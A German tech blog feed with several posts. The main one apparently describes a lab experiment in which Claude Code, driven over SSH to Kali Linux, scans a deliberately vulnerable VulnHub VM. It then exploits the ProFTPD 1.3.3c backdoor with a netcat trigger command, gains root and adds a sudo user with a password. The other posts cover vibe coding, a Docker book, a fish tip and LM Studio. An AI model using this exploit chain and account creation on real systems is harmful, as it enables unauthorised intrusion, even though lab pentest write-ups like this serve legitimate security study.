Warum jetzt jeder programmieren kann, und warum das trotzdem Blödsinn ist
Heute kann angeblich jeder programmieren. Sagen zumindest Forscher und CEOs aus der KI-Industrie. »Vibe Coding« ist das Wort des Jahres 2025. Sinngemäß meint das müheloses Programmieren dank KI-Unterstützung. Und tatsächlich ist jede der folgenden Aussagen grundsätzlich richtig, auf jeden Fall nicht ganz falsch: 2023, Andrej Karpathy (KI-Forscher, u.a. bei Tesla und OpenAI): The hottest new … Warum jetzt jeder programmieren kann, und warum das trotzdem Blödsinn ist weiterlesen →
Heute kann angeblich jeder programmieren. Sagen zumindest Forscher und CEOs aus der KI-Industrie. »Vibe Coding« ist das Wort des Jahres 2025. Sinngemäß meint das müheloses Programmieren dank KI-Unterstützung. Und tatsächlich ist jede der folgenden Aussagen grundsätzlich richtig, auf jeden Fall nicht ganz falsch: 2023, Andrej Karpathy (KI-Forscher, u.a. bei Tesla und OpenAI): The hottest new programming language is English. 2024, Jensen Huang (NVIDIA): It is our job to create computing technology such that nobody has to program. (…) Everybody in the world is now a programmer. 2025, Mark Zuckerberg (Meta): Probably in 2025, we (…) are going to have an AI that can effectively be a sort of mid-level engineer that you have at your company that can write code. 2026, Boris Cherny (Claude-Code-Erfinder): Coding is largely solved Aber wie in jedem guten Krimi ist nichts so einfach, wie es scheint. Traum … Coding is largely solved ist ein wenig optimistisch. Tatsächlich können Coding-Tools, also IDEs wie Antigravity, Cursor oder VS Code sowie CLI-Tools wie Claude Code oder Codex in Kombination mit einem guten, kommerziellen Sprachmodell von z.B. Anthropic, Google oder OpenAI richtig gut programmieren. Der folgende Prompt führt bei den meisten Systemen innerhalb von Sekunden zum Ziel: Prompt: Please provide a minimal implementation of ‚brick out‘ for the web browser. Use node. Keep the features to a minimum and the code concise. Für Nicht-Programmierer besteht die größte Hürde darin, Node.js zu installieren, das Programm auszuführen und das Browserfenster richtig zu öffnen (also z.B. http://localhost:3000). Agentic Tools funktionieren aber auch dann großartig, wenn es darum geht, sich in eine komplexe, existierende Code-Basis einzuarbeiten. Prompt: Get me an overview about this project. In der Folge ist es empfehlenswert, im Projektverzeichnis in AGENTS.md oder CLAUDE.md eine Zusammenfassung der wichtigsten Projektdaten zu speichern. Claude Code erstellt sich diese Datei mit /init gleich selbst, etwas Nacharbeit ist aber zweckmäßig. Der Sinn dieser Datei: Das KI-Tool beginnt nicht jede Session bei Null. Vielmehr weiß es, welche Regeln für Ihr Projekt gelten: Build-Tools, Unit-Tests, Datenbank- und Netzwerkzugriff, Bibliotheken, Schreibweisen usw. Unter diesen Voraussetzungen können Sie dem KI-Tool Ihrer Wahl jetzt Aufträge geben, welche neuen Features es programmieren soll. Wird der Code anschließend funktionieren? Die Chancen stehen mittlerweile nicht schlecht. Eventuell müssen Sie bei Problemen mit ein paar weiteren Prompts nachhelfen. Idealerweise geben Sie dem Agentic-Coding-Tool die Erlaubnis, den Code selbst zu testen. Dann kann das Tool auftretenden Fehler oft selbst lösen. … und Wirklichkeit Jedes Projekt ist anders. KI-Tools brillieren, wenn populäre Programmiersprachen für alltägliche Probleme zur Anwendung kommen: also beim Python-Script zur Auswertung von CSV-Dateien, bei der Node.js-Anwendung für eine Web-UI oder beim Datenbank-Backend samt REST-API. Bei richtig großen Projekten mit Hunderten, ja Tausenden von Dateien, bei ganz neuen Compiler-Versionen oder Bibliotheken, bei exotischen Programmiersprachen mit wenig Trainingsmaterial im Internet sinkt die Erfolgsquote deutlich. KI-Tools sind weiterhin eine Hilfe, aber nicht im gleichen Ausmaß. Hinweise im Prompt auf zusätzliche Dokumentation, auf interne Projektabhängigkeiten oder sonstige Besonderheiten machen plötzlich einen riesigen Unterschied. Wer kann die Tools bedienen? Mit dieser Frage kommen wir zum Kern des Problems: Die Eingangszitate stammen von Personen, die entweder ein kommerzielles Interesse daran haben, dass Coding mit KI funktioniert, oder von IT-Profis, die ein riesiges IT-Grundwissen und eine Menge praktischer Erfahrung mit KI-Tools haben. Das sind genau die Leute, bei denen Coding mit KI tatsächlich richtig gut funktioniert. Die wissen, wie der Prompt richtig formuliert wird, erkennen offensichtlich fehlgeleitete Antworten und greifen korrigierend ein, bevor sich das KI-Tool in eine Sackgasse manövriert. Wenn Sie regelmäßig den Blog von Simon Willison oder Texte von vergleichbaren Entwicklern lesen, also von Leuten, die täglich programmieren und ständig die neuesten KI-Tools ausprobieren, dann gewinnen Sie den Eindruck: Coding mit KI ist kinderleicht. Drei, vier längere Prompts, schon ist ein neues Feature fertig. Jeder moderne Software Developer arbeitet so. Tatsächlich ist es aber gerade umgekehrt! Wenn ich in meinem privaten und beruflichen Umfeld über KI spreche, stoße ich auf viel Zurückhaltung. Jeder hat schon KI-Tools ausprobiert, allerdings hat auch jeder schon negative Erfahrungen gemacht. Nur wenige kennen die gerade aktuellen Tools oder Sprachmodelle. Nur wenigen ist klar, wie gut diese Tools mittlerweile sind. (Das ist verständlich: Professionelle Entwickler stehen unter Zeitdruck, sollen Features liefern, Bugs beheben, Sicherheitslücken stopfen. Da bleibt wenig Zeit, um ständig neue KI-Tools auszuprobieren.) Was heißt programmieren? Jeder kann programmieren! Vielleicht, aber welche Programme? Für ein kleines Tool oder Spiel, das nur lokal/privat genutzt werden soll, gelten ganz andere Regeln als für professionelle Software. Ja, Vibe Coding macht Spaß. Aber wollen Sie in einem Auto sitzen (oder diesem Auto begegnen), dessen Software so erstellt wurde? Prompt: Entwickle die Steuerungs-Software für die Lenkung und Bremse eines Autos. Wenn das Lenkrad nach links bzw. rechts gedreht wird, ändere den Einstellwinkel der Räder entsprechend. Wenn das Bremspedal gedrückt wird, aktiviere die Bremsen der vier Räder. Je mehr das Pedal gedrückt wird, desto stärker soll das Auto abgebremst werden. Falls die Räder blockieren, während sich das Fahrzeug noch bewegt, aktiviere das Antiblockiersystem. Was kann schon schief gehen? Erfahrungen aus vier Jahren »Scripting«-Unterricht Die vergangenen vier Jahre habe ich auf der FH JOANNEUM in Kapfenberg das Fach »Scripting« unterrichtet. Die StudentInnen mussten in Zweier- oder Dreiergruppen eine Projektarbeit durchführen. In allen vier Jahren durften sie dabei — ganz offiziell! — KI-Tools zu Hilfe nehmen. Im Verlauf des ersten Durchlaufs im Wintersemester 2022/23 gab OpenAI die erste Version von ChatGPT frei. Alle waren beeindruckt (auch ich), dass reguläre Ausdrücke jetzt mit KI-Hilfe zusammengestellt werden konnten. Manchmal funktionierten sie sogar. KI-Tools waren bei der Projektarbeit eine gewisse Hilfe, aber keine große. Bis zum vierten Durchlauf (WS 2025/26) machten KI-Tools gleich mehrere Quantensprünge. Agentic Coding wurde zur Selbstverständlichkeit, zumindest für einen Teil der Teilnehmer. Einige Teams lieferten großartige Projektarbeiten, die 2022/23 aufgrund des Zeitaufwands vollkommen undenkbar gewesen wären. Umgekehrt gilt: Den Code etlicher Arbeiten aus dem Jahr 2022/23 würden heutige KI-Tools mit zwei, drei Prompts direkt liefern. Fertig ist das Projekt! Der Quantensprung in der Qualität von KI-Tools führte also — nicht ganz überraschend — zu einem Quantensprung auch bei den Projektarbeiten. Jeder, jede kann jetzt Programmieren, oder? Ich will hier aber auf einen anderen Punkt hinaus. Das Vorwissen meiner StudentInnen variiert stark. Manche programmieren seit Jahren, hatten bereits eine solide IT-Ausbildung. Andere sind praktisch neu in der IT. (Die Lehrveranstaltung findet im 3. Semester statt.) Obwohl alle Teams KI-Tools verwenden dürfen, spiegelt sich das Vorwissen dramatisch in den Projektarbeiten wider. Auch wenn das Niveau der heurigen Projektarbeiten im Durchschnitt viel höher war als drei Jahre zuvor, blieb die Spannbreite unverändert, wurde womöglich noch größer. Teams mit viel IT-Vorwissen bedienten die KI-Tools intelligenter, zielgerichteter und lieferten viel bessere Ergebnisse. Teams, deren Teilnehmer weniger IT-Erfahrung hatten, halfen auch die KI-Tools nur in begrenztem Ausmaß. Obwohl die Ausgangslage für alle gleich war, bleibt es dabei: Besseres Vorwissen, bessere Ergebnisse. Die KI ändert daran nichts, verstärkt eher die Unterschiede. Fazit KI macht Software-Entwicklung schneller, effizienter und, wie ich finde, angenehmer. KI nimmt das lästige Formulieren von Schleifen, Methoden und Klassen ab. Es ist nicht mehr so wichtig, ob Sie alle Syntax-Details auswendig kennen — die KI kümmert sich schon darum. Davon abgesehen ändert sich aber überraschend wenig: Die vernünftige Anwendung von KI-Tools setzt weiterhin ein großes IT-Wissen voraus. Wer mehr Erfahrung hat, mehr Grundlagen kennt, eine solide IT-Ausbildung hat, der/die wird bessere Ergebnisse erzielen, qualitativ guten, sicheren, wartbaren Code produzieren. Das gilt mit oder ohne KI-Tools. Aber mit KI sind Sie in den meisten Fällen schneller fertig. KI-Tools ändern nichts daran, dass Sie intelligente Prompts formulieren und den resultierenden Code verstehen müssen. Auch in Zukunft müssen Sie im professionellen Segment die Verantwortung für Ihren Code übernehmen. Sie können sich nicht drauf ausreden, dass die KI eben einen Fehler gemacht hat. Es bleibt Ihr Fehler! Kurz und gut: Professionelle Software-Entwicklung kann eben doch nicht jeder! Vibe Coding ist in diesem Segment nicht zielführend. PS: Zuletzt die obligatorische Werbeeinschaltung (obwohl diese Website ja eigentlich werbefrei ist, auf jeden Fall frei von externer Werbung): Die vergangenen vier Monate haben Bernd Öggl, Sebastian Springer und ich unser Buch »Coding mit KI« komplett überarbeitet. In meiner fast 40-jährigen Autorenkarriere ist es noch nie vorgekommen, dass ich ein Buch nach nur 18 Monaten so umfassend ändern musste! Wenn Sie sich für KI-assistierte Software-Entwicklung interessieren, werfen Sie einen Blick in das Buch. Es erscheint Anfang Mai. Quellen/Links https://blog.collinsdictionary.com/language-lovers/collins-word-of-the-year-2025-ai-meets-authenticity-as-society-shifts https://x.com/karpathy/status/1617979122625712128 https://www.tomshardware.com/tech-industry/artificial-intelligence/jensen-huang-advises-against-learning-to-code-leave-it-up-to-ai https://www.engadget.com/ai/mark-zuckerberg-predicts-ai-will-write-most-of-metas-code-within-12-to-18-months-213851646.html https://www.lennysnewsletter.com/p/head-of-claude-code-what-happens
Das Docker-Buch, das ich zusammen mit Bernd Öggl 2018 konzipiert und verfasst habe, hat sich zu einem kleinen Bestseller entwickelt. Die 5. Auflage wird gerade in die Buchhandlungen ausgeliefert. Für diese Auflage haben wir das Buch vollständig aktualisiert und alle Beispiele auf den neuesten Stand gebracht. compose.yaml hat in diesem Buch schon immer eine große … 📚 Docker (5. Aufl.) weiterlesen →
Das Docker-Buch, das ich zusammen mit Bernd Öggl 2018 konzipiert und verfasst habe, hat sich zu einem kleinen Bestseller entwickelt. Die 5. Auflage wird gerade in die Buchhandlungen ausgeliefert. <img decoding="async" src="https://kofler.info/wp-content/uploads/docker5.jpg" alt="Das Bild zeigt das Cover eines Fachbuchs zum Thema Docker. Im Zentrum ist eine Illustration eines Wals im Wasser zu sehen, auf dessen Rücken farbige Containerstapel stehen, daneben kleine Personen. Der Titel „Docker“ ist groß auf einem violetten Balken platziert, darunter der Untertitel „Das Praxisbuch für Entwickler und DevOps-Teams“. Oben stehen die Autoren Bernd Öggl und Michael Kofler sowie Hinweise auf die 5., aktualisierte Auflage." width="200" height="300" class="alignnone size-full wp-image-9314" /> Für diese Auflage haben wir das Buch vollständig aktualisiert und alle Beispiele auf den neuesten Stand gebracht. compose.yaml hat in diesem Buch schon immer eine große Rolle gespielt, aber diese Auflage enthält diesbezüglich noch mehr Grundlagen und Beispiele. Schließlich haben wir das Buch um einige neue Kapitel bzw. Abschnitte erweitert: KI-Funktionen mit Docker: Sprachmodelle mit dem Docker Model Runner (DMR) ausführen, MCP mit dem Docker-MCP-Katalog nutzen Prometheus Monitoring Server mit Docker Compose aufsetzen Netzwerk- und Firewall-Interna in Docker und Podman Windows-Testinstallationen im Grafikmodus mit Dockur ausführen Toolbx: Software-Umgebungen ohne Container-Isolierung ausführen Hier finden Sie mehr Infos zum Buch, den obligatorischen Bestell-Links sowie eine Leseprobe.
Kurztipp: fish mit VS Code und Remote Shell
In diesem Blog-Artikel habe ich meine Begeisterung für fish zum Ausdruck gebracht. Aber immer wieder stolpere ich über kleine Imkompatibilitäten, wenn andere Programme pardout die bash oder zsh voraussetzen. VS Code und Remote Shell Mit VS Code und der Erweiterung Remote SSH können Sie via SSH ein Verzeichnis auf einem Linux-Rechner öffnen und die dort … Kurztipp: fish mit VS Code und Remote Shell weiterlesen →
In diesem Blog-Artikel habe ich meine Begeisterung für fish zum Ausdruck gebracht. Aber immer wieder stolpere ich über kleine Imkompatibilitäten, wenn andere Programme pardout die bash oder zsh voraussetzen. VS Code und Remote Shell Mit VS Code und der Erweiterung Remote SSH können Sie via SSH ein Verzeichnis auf einem Linux-Rechner öffnen und die dort befindlichen Dateien bearbeiten. Das funktioniert wunderbar, wenn der dort die bash oder zsh läuft. Mit der fish gelingt zwar der initiale Verbindungsaufbau, wenig später kommt es aber Timeout. Das Problem ist — eh‘ erst seit fast sechs Jahren — in einem GitHub-Issue dokumentiert. Hoffnung auf Behebung gibt es wohl nicht. Aber immerhin enthält das Issue einige Lösungsvorschläge. Am praktikabelsten ist es aus meiner Sicht, in der Konfigurationsdatei settings.json von VS Code (unter Linux .config/Code/User/settings.json) die betroffenen Hostnamen einzutragen und ihnen die Plattform Linux zuzuordnen. Absurd, dass VS Code offensichtlich nicht in der Lage ist, diesen Umstand selbst zu erkennen. { ... "remote.SSH.remotePlatform": { "kofler.info": "linux", "myotherhost.com": "linux" ... } } Python Environments Wenn Sie ein Python Environment einrichten, funktioniert dessen übliche Aktivierung mit source .venv/bin/activate nicht. Es gibt (übrigens schon seit 2012!) ein entsprechendes fish-Script — Sie müssen nur daran denken, es auch zu verwenden. mkdir my-project cd my-project python3 -m venv .venv source .venv/bin/activate # bash, zsh source .venv/bin/activate.fish # fish !!! Quellen, Links https://github.com/microsoft/vscode-remote-release/issues/2509 https://github.com/python/cpython/issues/59622
Hacking / Penetration Testing mit KI-Tools automatisieren
Moderne KI-Tools zum Agentic Coding können nicht nur programmieren, sie können auch Kommandos ausführen — im einfachsten Fall mit grep in der Code-Basis nach einem Schlüsselwort suchen. Diese Funktionalität geht aber weiter als Sie vielleicht denken: Einen SSH-Account mit Key-Authentifizierung vorausgesetzt, kann das KI-Tool auch Kommandos auf externen Rechnern ausführen! Das gibt wiederum weitreichende Möglichkeiten, … Hacking / Penetration Testing mit KI-Tools automatisieren weiterlesen →
Moderne KI-Tools zum Agentic Coding können nicht nur programmieren, sie können auch Kommandos ausführen — im einfachsten Fall mit grep in der Code-Basis nach einem Schlüsselwort suchen. Diese Funktionalität geht aber weiter als Sie vielleicht denken: Einen SSH-Account mit Key-Authentifizierung vorausgesetzt, kann das KI-Tool auch Kommandos auf externen Rechnern ausführen! Das gibt wiederum weitreichende Möglichkeiten, sei es zu Administration von Linux-Rechner, sei es zur Durchführung von Hacking- oder Penetration-Testing-Aufgaben. In diesem Beitrag illustriere ich anhand eines Beispiels das sich daraus ergebende Potenzial. Entgegen landläufiger Meinung brauchen Sie zum Hacking per KI keinen MCP-Server! Ja, es gibt diverse MCP-Server, mit denen Sie bash- oder SSH-Kommandos ausführen bzw. Hacking-Tools steuern können, z.B. ssh-mcp, mcp-kali-server oder hexstrike-ai. Aber sofern Ihr KI-Tool sowieso Kommandos via SSH ausführen kann, bieten derartige MCP-Server wenig nennenswerte Vorteile. <img decoding="async" src="https://kofler.info/wp-content/uploads/claude-hacking-setup-scaled.jpg" alt="Desktop-Screenshot mit zwei laufenden virtuellen Maschinen und einer Terminal-Session links. Im Vordergrund zeigt ein geöffnetes VM-Fenster Kali Linux mit großem KALI-Logo, darüber ein weiteres virtuelles Fenster mit Konsole. Links ist ein Terminal mit Protokollausgaben zu SSH-, sudo- und Benutzeranlegen (newroot) sowie Verweisen auf eine lokale Claude-Code-Installation. Oben mittig ist die Virtuelle Maschinenverwaltung mit Liste der VMs sichtbar." width="2560" height="1310" class="size-full wp-image-9353" srcset="https://kofler.info/wp-content/uploads/claude-hacking-setup-scaled.jpg 2560w, https://kofler.info/wp-content/uploads/claude-hacking-setup-850x435.jpg 850w, https://kofler.info/wp-content/uploads/claude-hacking-setup-1280x655.jpg 1280w, https://kofler.info/wp-content/uploads/claude-hacking-setup-768x393.jpg 768w, https://kofler.info/wp-content/uploads/claude-hacking-setup-1536x786.jpg 1536w, https://kofler.info/wp-content/uploads/claude-hacking-setup-2048x1048.jpg 2048w" sizes="(max-width: 2560px) 100vw, 2560px" /> Setup auf einem Fedora-Rechner mit zwei virtuellen Maschinen und lokaler Claude-Code-Installation Setup Als Ausgangspunkt für dieses Beispiel dient ein KI-Tool mit CLI (Command Line Interface), z.B. Claude Code, Codex CLI, Gemini CLI oder GitHub Copilot CLI. Ebenso geeignet sind Open-Source-Tools wie Aider oder Goose, die mit einem lokalen Sprachmodell verbunden werden können. Ich habe für meine Tests Claude Code auf einem Linux-Rechner (Fedora) installiert. Claude Code erfordert ein Claude-Abo oder einen API-Zugang bei Anthropic. Außerdem habe ich zwei virtuelle Maschinen eingerichtet (siehe den obigen Screenshot). Dort läuft einerseits Kali Linux (Hostname kali) und andererseits Basic Pentesting 1 (Hostname vtcsec). Basic Pentesting 1 ist ein in der Security-Ausbildung beliebtes System mit mehreren präparierten Sicherheitslücken. Für das Netzworking habe ich der Einfachheit halber beide virtuellen Maschinen einer Bridge zugeordnet, so dass sich diese quasi im lokalen Netzwerk befinden. Sicherheitstechnisch für diese Art von Tests wäre es vernünftiger, Kali Linux zwei Netzwerkadapter zuzuweisen, einen für den Zugang zum Hostrechner (Fedora) und einen zweiten für ein internes Netzwerk. Das Target-System (hier Basic Pentesting 1) bekommt nur Zugang zum internen Netzwerk. Damit kann Kali Linux mit dem Target-System kommunizieren, aber es gibt keine Netzwerkverbindung zwischen dem Target-System und dem Host-Rechner oder dem lokalen Netzwerk. In Kali Linux habe ich den Benutzer aiadmin eingerichtet. Dieser darf per sudo alle Kommandos ohne Passwort ausführen: # in /etc/sudoers auf Kali Linux aiadmin ALL=(ALL) NOPASSWD: ALL Auf dem lokalen Rechner (Fedora) kümmert sich .ssh/config darum, dass aiadmin der Default-User für SSH-Verbindungen ist. # Datei .ssh/config auf dem lokalen Rechner Host kali User aiadmin Damit der SSH-Login bei Kali Linux ohne Passwort funktioniert, habe ich einen SSH-Key eingerichtet: fedora$ ssh-copy-id aiadmin@kali Sobald das funktioniert, habe ich den interaktiven Login für aiadmin gesperrt (Option -l wie lock). kali$ sudo passwd -l aiadmin Der privilegierte Benutzer aiadmin kann jetzt also NUR noch per SSH-Key-Login genutzt werden. Alternatives Setup Bei diesem Setup gibt es eine logische Barriere zwischen unserem Arbeitsrechner mit diversen Entwickler- und KI-Tools und Kali Linux. Wenn Sie im Security-Umfeld arbeiten, ist es naheliegen, Claude Code oder ein anderes KI-Tool direkt in Kali Linux zu installieren und so den SSH-Umweg einzusparen. Setup testen Nun richten Sie ein leeres Projektverzeichnis ein, wechseln dorthin und starten claude. Die beiden ersten Prompts dienen dazu, Claude das Testumfeld zu erklären und dieses auszuprobieren. > There is a Kali Linux installation with hostname kali. Try to connect via SSH. (OK ...) > Kali can connect to host vtcsec. This is a VM designated for penetration testing. ping to it! (OK ...) <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/claude-hacking1.png" alt="Der Screenshot zeigt ein Terminalfenster mit Claude Code, in dem erste Tests für ein Setup ausgeführt werden. Oben ist die Startseite von „Claude Code v2.1.29“ mit „Welcome back Michael!“ sowie Tipps und „No recent activity“ zu sehen. Darunter werden per Bash SSH-Verbindungen zu „kali“ geprüft und eine erfolgreiche Verbindung ohne Passwort bestätigt. Anschließend zeigt ein Ping auf „vtcsec“ erfolgreiche IPv6-Antworten und 0% Paketverlust." width="1938" height="1636" class="size-full wp-image-9349" srcset="https://kofler.info/wp-content/uploads/claude-hacking1.png 1938w, https://kofler.info/wp-content/uploads/claude-hacking1-770x650.png 770w, https://kofler.info/wp-content/uploads/claude-hacking1-1137x960.png 1137w, https://kofler.info/wp-content/uploads/claude-hacking1-768x648.png 768w, https://kofler.info/wp-content/uploads/claude-hacking1-1536x1297.png 1536w" sizes="auto, (max-width: 1938px) 100vw, 1938px" /> Erste Prompts um das Setup zu testen AI Assisted Hacking Im dritten Prompt geht es richtig los. Claude soll in Kali Linux einen Port Scan für das Pentesting-System durchführen. Dort findet es eine veraltete ProFTPD-Version mit einer bekannten Sicherheitslücke. > Now do a proper port scan for vtcsec. Find out what software is running. (...) Here's what's running on vtcsec: Port Service Version 21 FTP ProFTPD 1.3.3c 22 SSH OpenSSH 7.2p2 (Ubuntu) 80 HTTP Apache 2.4.18 (Ubuntu) OS: Linux 3.x/4.x (Ubuntu), running as a QEMU VM. Notable observations: - ProFTPD 1.3.3c is a notably old version with known vulnerabilities (including a backdoor in certain distributions). - OpenSSH 7.2p2 and Apache 2.4.18 are also outdated versions with known CVEs. - Only 3 ports open, 997 closed — a fairly minimal attack surface. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/claude-hacking2.png" alt="Das Bild zeigt einen Terminal-/Chat-Screenshot, in dem ein Port-Scan mit Nmap ausgewertet wird. Oben ist der Bash-Aufruf „sudo nmap -sV -sC -O“ sowie ein Scan-Report für einen Host (192.168.178.48) zu sehen. Darunter listet eine Tabelle offene Ports 21/22/80 mit ProFTPD 1.3.3c, OpenSSH 7.2p2 und Apache 2.4.18. Hinweise nennen veraltete Versionen, Linux/Ubuntu auf QEMU und nur drei offene Ports." width="1938" height="1382" class="size-full wp-image-9350" srcset="https://kofler.info/wp-content/uploads/claude-hacking2.png 1938w, https://kofler.info/wp-content/uploads/claude-hacking2-850x606.png 850w, https://kofler.info/wp-content/uploads/claude-hacking2-1280x913.png 1280w, https://kofler.info/wp-content/uploads/claude-hacking2-768x548.png 768w, https://kofler.info/wp-content/uploads/claude-hacking2-1536x1095.png 1536w" sizes="auto, (max-width: 1938px) 100vw, 1938px" /> Port-Scan durchführen > Find exploits for ProFTPD. (...) Here are the exploits found for ProFTPD 1.3.3: Exploit ProFTPd 1.3.2rc3 < 1.3.3b (FreeBSD) Telnet IAC Buffer Overflow ProFTPd 1.3.2rc3 < 1.3.3b (Linux) - Telnet IAC Buffer Overflow ProFTPd 1.3.3c - Compromised Source Backdoor ProFTPd IAC 1.3.x - Remote Command Execution ProFTPd 1.3.3c - Backdoor Command Execution (Metasploit) The most relevant one is the backdoor in ProFTPD 1.3.3c - this is the infamous incident where the ProFTPD source code was compromised, and a backdoor was inserted. It allows remote command execution by sending HELP ACIDBITCHEZ to the FTP service. There's both a manual exploit and a Metasploit module available. Want me to try the backdoor exploit against vtcsec? Wir wollen nun die gefundene Backdoor nutzen. Der erste Exploit-Versuch scheitert, aber bereits im zweiten Versuch kann Claude die Backdoor in ProFTPD ausnutzen und erreicht root-Rechte. > Yes, try it! Bash(ssh kali "searchsploit -x linux/remote/15662.txt") Exploit: ProFTPd 1.3.3c - Compromised Source Backdoor Remote Code Execution URL: https://www.exploit-db.com/exploits/15662 Path: /usr/share/exploitdb/exploits/linux/remote/15662.txt Bash(ssh kali 'echo -e "HELP ACIDBITCHEZ\nid\nhostname \nuname -a\nexit\n" | nc -w 5 vtcsec 21') The simple netcat approach didn't return command output. Let me try with a proper interactive approach using Metasploit or a Python script. Bash(ssh kali 'python3 -c " ..." ') Banner: 220 ProFTPD 1.3.3c Server (vtcsec) [192.168.178.48] Response: uid=0(root) gid=0(root) groups=0(root)... Response: vtcsec Response: Linux vtcsec 4.10.0-28-generic The backdoor exploit worked. Here's what we got: - Access level: uid=0(root) — full root access - Hostname: vtcsec - Kernel: Linux 4.10.0-28-generic (Ubuntu 16.04) The HELP ACIDBITCHEZ backdoor in ProFTPD 1.3.3c gave an unauthenticated remote root shell with zero effort — no credentials, no authentication, just a single FTP command. Want me to explore the system further or move on to testing the other services? <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/claude-hacking3.png" alt="Der Screenshot zeigt eine Terminal-/Chat-Ausgabe zur Ausnutzung der ProFTPD‑Backdoor in Version 1.3.3c. Beschrieben wird der Trigger über den FTP-Befehl „HELP ACIDBITCHEZ“ und die Suche nach dem passenden Exploit (Exploit‑DB/15662). Anschließend werden Bash-/Netcat- sowie ein Python‑Ansatz ausgeführt. Die Ausgabe bestätigt schließlich Root-Zugriff (uid=0) auf den Host „vtcsec“ samt Kernel/Ubuntu-Version." width="1938" height="2036" class="size-full wp-image-9351" srcset="https://kofler.info/wp-content/uploads/claude-hacking3.png 1938w, https://kofler.info/wp-content/uploads/claude-hacking3-619x650.png 619w, https://kofler.info/wp-content/uploads/claude-hacking3-914x960.png 914w, https://kofler.info/wp-content/uploads/claude-hacking3-768x807.png 768w, https://kofler.info/wp-content/uploads/claude-hacking3-1462x1536.png 1462w" sizes="auto, (max-width: 1938px) 100vw, 1938px" /> ProFTPD-Backdoor ausnutzen Mit den nun erworbenen root-Rechten soll Claude einen neuen Benutzer mit sudo-Rechten einzurichten. Wiederum scheitert der erste Versuch, weil das Kommando sshpass auf Kali Linux nicht installiert ist. Claude lässt sich davon nicht beirren: Ohne weitere Rückfragen installiert es das fehlende Kommando, richtet den neuen Benutzer ein und verifiziert dessen Funktionsweise. Grandios! <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/claude-hacking4.png" alt="Screenshot eines Terminal-Protokolls zum Anlegen eines neuen Nutzers und Testen von SSH-Zugriff. Das Bild zeigt Befehle zum Erstellen des Benutzers "newroot" mit Passwort "topSecret", UID/GID 1001 und Shell /bin/bash sowie einen fehlgeschlagenen SSH-Versuch (Error: Exit code 127) wegen fehlendem sshpass. Dazwischen wird sshpass per apt installiert, SSH-Verbindung bestätigt und am Ende sudo-Rechte für den Benutzer ergänzt." width="1938" height="2036" class="size-full wp-image-9352" srcset="https://kofler.info/wp-content/uploads/claude-hacking4.png 1938w, https://kofler.info/wp-content/uploads/claude-hacking4-619x650.png 619w, https://kofler.info/wp-content/uploads/claude-hacking4-914x960.png 914w, https://kofler.info/wp-content/uploads/claude-hacking4-768x807.png 768w, https://kofler.info/wp-content/uploads/claude-hacking4-1462x1536.png 1462w" sizes="auto, (max-width: 1938px) 100vw, 1938px" /> Neuen Benutzer mit sudo-Rechten einrichten Anmerkungen Bemerkenswert an diesem Beispiel ist, dass ich Claude nie mitgeteilt habe, wie es vorgehen soll bzw. mit welchen Hacking-Tool es arbeiten soll. Claude hat selbstständig den Port-Scan mit nmap durchgeführt, mit metasploit nach einem Exploit gesucht und diesen angewendet. Auch wenn das obige Beispiel einen erfolgreichen Einbruch skizziert, wird Hacking mit KI-Unterstützung nicht automatisch zum Kinderspiel. Hier habe ich die Richtung vorgegeben. Wenn Sie dem KI-Tool freie Hand lassen (Prompt: »Get me root access on vtcsec«), führt es den Portscan möglicherweise zuwenig gründlich durch und übersieht den ProFTPD-Server, der in diesem Fall beinahe eine Einladung zum Hacking darstellt. Stattdessen konzentriert sich das Tool darauf, SSH-Logins zu erraten oder Fehler in der Konfiguration des Webservers zu suchen. Das sind zeitaufwändige Prozesse mit nur mäßiger Erfolgswahrscheinlichkeit. Die Steuerung von Hacking-Tools via SSH stößt an ihre Grenzen, wenn es um die interaktive Bedienung von CLI-Tools oder um die Steuerung grafischer Benutzeroberflächen bzw. Web-Tools geht (z.B. Burp Suite, Empire Framework oder OpenVAS). Fakt bleibt, dass die KI-Unterstützung den Zeitaufwand für Penetration Tester erheblich senken kann — z.B. wenn es darum geht, mehrere Server gleichzeitig zu überprüfen. Umgekehrt macht die KI das Hacking für sogenannte »Script Kiddies« leichter denn je. Das ist keine erfreuliche Perspektive … Quellen, Links https://claude.com/product/claude-code https://www.kali.org https://www.vulnhub.com/entry/basic-pentesting-1,216/ MCP-Server (optional für KI-Tools, die keinen direkten Kommandoaufruf ermöglichen) https://github.com/tufantunc/ssh-mcp https://www.kali.org/tools/mcp-kali-server https://github.com/0x4m4/hexstrike-ai
Wer sich dafür interessiert, Sprachmodelle lokal auszuführen, landen unweigerlich bei Ollama. Dieses Open-Source-Projekt macht es zum Kinderspiel, lokale Sprachmodelle herunterzuladen und auszuführen. Die macOS- und Windows-Version haben sogar eine Oberfläche, unter Linux müssen Sie sich mit dem Terminal-Betrieb oder der API begnügen. Zuletzt machte Ollama allerdings mehr Ärger als Freude. Auf gleich zwei Rechnern mit … LM Studio weiterlesen →
Wer sich dafür interessiert, Sprachmodelle lokal auszuführen, landen unweigerlich bei Ollama. Dieses Open-Source-Projekt macht es zum Kinderspiel, lokale Sprachmodelle herunterzuladen und auszuführen. Die macOS- und Windows-Version haben sogar eine Oberfläche, unter Linux müssen Sie sich mit dem Terminal-Betrieb oder der API begnügen. Zuletzt machte Ollama allerdings mehr Ärger als Freude. Auf gleich zwei Rechnern mit AMD-CPU/GPU wollte Ollama pardout die GPU nicht nutzen. Auch die neue Umgebungsvariable OLLAMA_VULKAN=1 funktionierte nicht wie versprochen, sondern reduzierte die Geschwindigkeit noch weiter. Kurz und gut, ich hatte die Nase voll, suchte nach Alternativen und landete bei LM Studio. Ich bin begeistert. Kurz zusammengefasst: LM Studio unterstützt meine Hardware perfekt und auf Anhieb (auch unter Linux), bietet eine Benutzeroberfläche mit schier unendlich viel Einstellmöglichkeiten (wieder: auch unter Linux) und viel mehr Funktionen als Ollama. Was gibt es auszusetzen? Das Programm richtet sich nur bedingt an LLM-Einsteiger, und sein Code untersteht keiner Open-Source-Lizenz. Das Programm darf zwar kostenlos genutzt werden (seit Mitte 2025 auch in Firmen), aber das kann sich in Zukunft ändern. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/server-lm-chat.png" alt="Der Screenshot zeigt die Anwendung „LM Studio“ mit einem offenen Chat zum Thema „Detecting Magic Squares“. Links ist eine Chat- und Ordnerliste sichtbar, darunter „Python Learning“ und der ausgewählte 